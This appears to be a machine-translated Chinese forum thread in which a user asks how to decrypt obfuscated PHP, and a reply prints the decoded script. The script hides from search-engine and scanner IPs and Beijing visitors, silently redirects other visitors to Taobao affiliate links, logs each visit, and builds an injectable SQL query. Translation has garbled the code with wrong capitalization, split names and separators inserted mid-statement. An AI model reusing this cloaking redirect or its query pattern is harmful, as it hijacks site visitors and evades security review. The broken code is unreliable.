Encounter a piece of PHP encryption, I really do not know how to decrypt the Lord
There are BASE64 and some garbled symbols, really do not know how to decrypt the master.
Because there are special characters forum can not be sent up, the address of the network disk.
http://pan.baidu.com/share/link?shareid=3556194294&uk=2869471014
Share to: more
------Solution--------------------
There are related encryption and copyright verification, but no longer the final encryption inside; The entire encryption process has been repeated more than 5 times
/*
* $hash =file_get_contents (__file__); substr ($hash, -32) ==md5 (substr (substr ($hash, 0,-32). 77068ff0146c46ae9da019a1b3e5bfab ', 4))
------Solution--------------------
@die (); 15aabc79d4499e36ea28690d6959b37c
*/
error_reporting (0);
Defined (' Ffcaedaabebfab ')
------Solution--------------------
Exit (' Access Denied ');
Include (' topsdk.php ');
Include (' mysql.php ');
Include (' config.php ');
Session_Start ();
$host = $_server ["Http_host"];
$scanv = "";
if (Isset ($_session [' url '])) {
$url = $_session [' url '];
$keyword = Get_keyword ($url, $keywords);
$arr = Parse_url ($url);
$arr _query = converturlquery ($arr [' query ']);
$usergent = $_server [' http_user_agent '];
$client _ip = $_server ["REMOTE_ADDR"];
$loc = Iconv ("gb2312", "Utf-8//ignore", Convertip ($client _ip));
if (Strpos ($client _ip, ' 61.135 ')!== false
------Solution--------------------
Strpos ($client _ip, ' 173.194 ')!== false
------Solution--------------------
Strpos ($client _ip, ' 203.208 ')!== false
------Solution--------------------
Strpos ($client _ip, ' 74.125 ')!== false
------Solution--------------------
Strpos ($client _ip, ' 123.125 ')!== false
------Solution--------------------
Strpos ($client _ip, ' 220.181 ')!== false) {
$scanv = "Scanv IP detected";
} else if (Strpos ($keyword, ' Dasoji ')!== false) {
$scanv = "Domain name detected";
} else if ($keyword = = False) {
$scanv = "keywords cannot be empty";
} else if (Strpos ($loc, ' Google ')!== false) {
$SCANV = "Google IP detected";
} else if (Strpos ($loc, ' Beijing ')!== false) {
$SCANV = "Beijing IP detected";
} else if (count ($arr _query) < 2) {
$scanv = "may be Scanv";
} else {
$key = Get_key ($keyword);
$click _url = Get_key_url ($key);
if (! isset ($click _url)) {
$click _url = Search_click ($key)->taobaoke_item->click_url;
}
if (Isset ($click _url)) {
echo "var jump_url= '". $click _url. "';";
echo "Window.location.href=jump_url;";
} else {
$SCANV = "no valid jump";
$click _url = Get_shops_url ($key);
if (Isset ($click _url)) {
echo "var jump_url= '". $click _url. "';";
echo "Window.location.href=jump_url;";
} else {
echo "var jump_url= ';";
echo "Window.location.href=jump_url;";
}
}
}
$fp = fopen ("baiduspider.html", ' a ');
Fwrite ($FP, "" . Date (' y-m-d h:i:s ', Time ()). "" . $_server ["REMOTE_ADDR"]. '' . $keyword. '' . $scanv. '' . $_server [' Http_user_agent ']. '' . $url. '' );
Fclose ($FP);
;
}
function Get_key_url ($key) {
Global $db _conn;
$db = new Mysql ($db _conn);
$db->query ("Set names UTF8");
$sql = "SELECT * FROM keyword where ' key ' = '". $key. "'";
$result = $db->get ($sql);